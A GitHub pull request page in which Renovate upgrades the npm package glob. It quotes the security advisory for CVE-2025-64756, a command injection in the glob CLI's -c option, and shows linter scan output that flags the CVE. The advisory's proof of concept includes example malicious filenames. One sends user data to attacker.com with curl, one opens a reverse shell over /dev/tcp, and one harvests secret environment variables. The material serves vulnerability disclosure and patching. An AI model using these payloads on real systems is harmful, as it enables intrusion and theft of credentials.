Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 18, 2025

This PR contains the following updates:

Package Change Age Confidence
glob 11.0.3 -> 11.1.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to [email protected], [email protected], or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

v11.1.0

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@github-actions
Copy link

MegaLinter analysis: Error

Descriptor Linter Files Fixed Errors Warnings Elapsed time
✅ DOCKERFILE hadolint 1 0 0 0.03s
✅ GROOVY npm-groovy-lint 10 3 0 0 25.78s
✅ JAVASCRIPT prettier 99 99 0 0 3.75s
✅ JSON jsonlint 8 0 0 0.21s
✅ JSON npm-package-json-lint yes no no 0.68s
✅ JSON prettier 8 3 0 0 0.83s
✅ JSON v8r 8 0 0 8.45s
⚠️ MARKDOWN markdownlint 7 2 2 0 2.49s
✅ MARKDOWN markdown-table-formatter 7 5 0 0 0.83s
✅ REPOSITORY gitleaks yes no no 10.76s
✅ REPOSITORY git_diff yes no no 0.13s
❌ REPOSITORY grype yes 2 no 27.76s
✅ REPOSITORY secretlint yes no no 0.95s
❌ REPOSITORY trivy yes 1 no 7.29s
✅ REPOSITORY trufflehog yes no no 3.31s
✅ SPELL cspell 137 0 0 6.24s
⚠️ SPELL lychee 18 12 0 21.36s
✅ XML xmllint 1 0 0 0 0.19s
✅ YAML prettier 3 0 0 0 0.73s
✅ YAML v8r 3 0 0 5.06s
✅ YAML yamllint 3 0 0 0.56s

Detailed Issues

❌ REPOSITORY / grype - 2 errors
[0000]  WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not ideal)
NAME          INSTALLED  FIXED IN  TYPE          VULNERABILITY        SEVERITY  EPSS           RISK   
logback-core  1.5.18     1.5.19    java-archive  GHSA-25qh-j22f-pwp8  Medium    < 0.1% (11th)  < 0.1  
glob          10.4.5     11.1.0    npm           GHSA-5j98-mcp5-4vw2  High      N/A            N/A
[0027] ERROR discovered vulnerabilities at or above the severity threshold
❌ REPOSITORY / trivy - 1 error
2025-11-18T03:14:35Z	INFO	[vulndb] Need to update DB
2025-11-18T03:14:35Z	INFO	[vulndb] Downloading vulnerability DB...
2025-11-18T03:14:35Z	INFO	[vulndb] Downloading artifact...	repo="mirror.gcr.io/aquasec/trivy-db:2"
38.66 MiB / 75.22 MiB [------------------------------->_____________________________] 51.39% ? p/s ?75.22 MiB / 75.22 MiB [----------------------------------------------------------->] 100.00% ? p/s ?75.22 MiB / 75.22 MiB [----------------------------------------------------------->] 100.00% ? p/s ?75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 60.85 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 60.85 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 60.85 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 56.92 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 56.92 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 56.92 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 53.25 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 53.25 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 53.25 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 49.82 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [-------------------------------------------------] 100.00% 31.24 MiB p/s 2.6s2025-11-18T03:14:39Z	INFO	[vulndb] Artifact successfully downloaded	repo="mirror.gcr.io/aquasec/trivy-db:2"
2025-11-18T03:14:39Z	INFO	[vuln] Vulnerability scanning is enabled
2025-11-18T03:14:39Z	INFO	[misconfig] Misconfiguration scanning is enabled
2025-11-18T03:14:39Z	INFO	[misconfig] Need to update the checks bundle
2025-11-18T03:14:39Z	INFO	[misconfig] Downloading the checks bundle...
165.46 KiB / 165.46 KiB [---------------------------------------------------------] 100.00% ? p/s 0s2025-11-18T03:14:42Z	INFO	Suppressing dependencies for development and testing. To display them, try the '--include-dev-deps' flag.
2025-11-18T03:14:42Z	INFO	Number of language-specific files	num=1
2025-11-18T03:14:42Z	INFO	[npm] Detecting vulnerabilities...
2025-11-18T03:14:42Z	INFO	Detected config files	num=1

Report Summary

┌───────────────────┬────────────┬─────────────────┬───────────────────┐
│      Target       │    Type    │ Vulnerabilities │ Misconfigurations │
├───────────────────┼────────────┼─────────────────┼───────────────────┤
│ package-lock.json │    npm     │        1        │         -         │
├───────────────────┼────────────┼─────────────────┼───────────────────┤
│ Dockerfile        │ dockerfile │        -        │         0         │
└───────────────────┴────────────┴─────────────────┴───────────────────┘
Legend:
- '-': Not scanned
- '0': Clean (no security findings detected)


For OSS Maintainers: VEX Notice
--------------------------------
If you're an OSS maintainer and Trivy has detected vulnerabilities in your project that you believe are not actually exploitable, consider issuing a VEX (Vulnerability Exploitability eXchange) statement.
VEX allows you to communicate the actual status of vulnerabilities in your project, improving security transparency and reducing false positives for your users.
Learn more and start using VEX: https://trivy.dev/v0.67/docs/supply-chain/vex/repo#publishing-vex-documents

To disable this notice, set the TRIVY_DISABLE_VEX_NOTICE environment variable.


package-lock.json (npm)
=======================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 1, CRITICAL: 0)

┌─────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┬───────────────────────────────────────────────────────────┐
│ Library │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │                           Title                           │
├─────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┼───────────────────────────────────────────────────────────┤
│ glob    │ CVE-2025-64756 │ HIGH     │ fixed  │ 10.4.5            │ 11.1.0        │ glob CLI: Command injection via -c/--cmd executes matches │
│         │                │          │        │                   │               │ with shell:true                                           │
│         │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2025-64756                │
└─────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┴───────────────────────────────────────────────────────────┘

📣 Notices:
  - Version 0.67.2 of Trivy is now available, current version is 0.67.0

To suppress version checks, run Trivy scans with the --skip-version-check flag
⚠️ SPELL / lychee - 12 errors
[WARN ] Error creating request: InvalidPathToUri("/lib/java/logback.xml")
[403] https://www.npmjs.com/package/amplitude | Network error: Forbidden
[403] https://www.npmjs.com/package/java-caller | Network error: Forbidden
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://npmjs.org/package/npm-groovy-lint | Network error: Forbidden
[403] https://www.npmjs.com/package/analytics | Network error: Forbidden
[403] https://www.npmjs.com/package/insight | Network error: Forbidden
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/analytics | Error (cached)
[403] https://www.npmjs.com/package/insight | Error (cached)
[403] https://www.npmjs.com/package/amplitude | Error (cached)
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://npmjs.org/package/npm-groovy-lint | Error (cached)
[IGNORED] git+https://github.com/nvuillam/npm-groovy-lint.git | Unsupported: Error creating request client: builder error for url (git+https://github.com/nvuillam/npm-groovy-lint.git)
📝 Summary
---------------------
🔍 Total..........326
✅ Successful.....305
⏳ Timeouts.........0
🔀 Redirected.......0
👻 Excluded.........8
❓ Unknown..........0
🚫 Errors..........12

Errors in CHANGELOG.md
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/analytics | Error (cached)
[403] https://www.npmjs.com/package/insight | Error (cached)

Errors in docs/index.md
[403] https://npmjs.org/package/npm-groovy-lint | Error (cached)
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/amplitude | Error (cached)

Errors in README.md
[403] https://www.npmjs.com/package/java-caller | Network error: Forbidden
[403] https://npmjs.org/package/npm-groovy-lint | Network error: Forbidden
[403] https://www.npmjs.com/package/amplitude | Network error: Forbidden

Errors in docs/CHANGELOG.md
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/insight | Network error: Forbidden
[403] https://www.npmjs.com/package/analytics | Network error: Forbidden
⚠️ MARKDOWN / markdownlint - 2 errors
docs/index.md:38:65 MD059/descriptive-link-text Link text should be descriptive [Context: "[**here**]"]
README.md:38:65 MD059/descriptive-link-text Link text should be descriptive [Context: "[**here**]"]

See detailed reports in MegaLinter artifacts

MegaLinter is graciously provided by OX Security

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant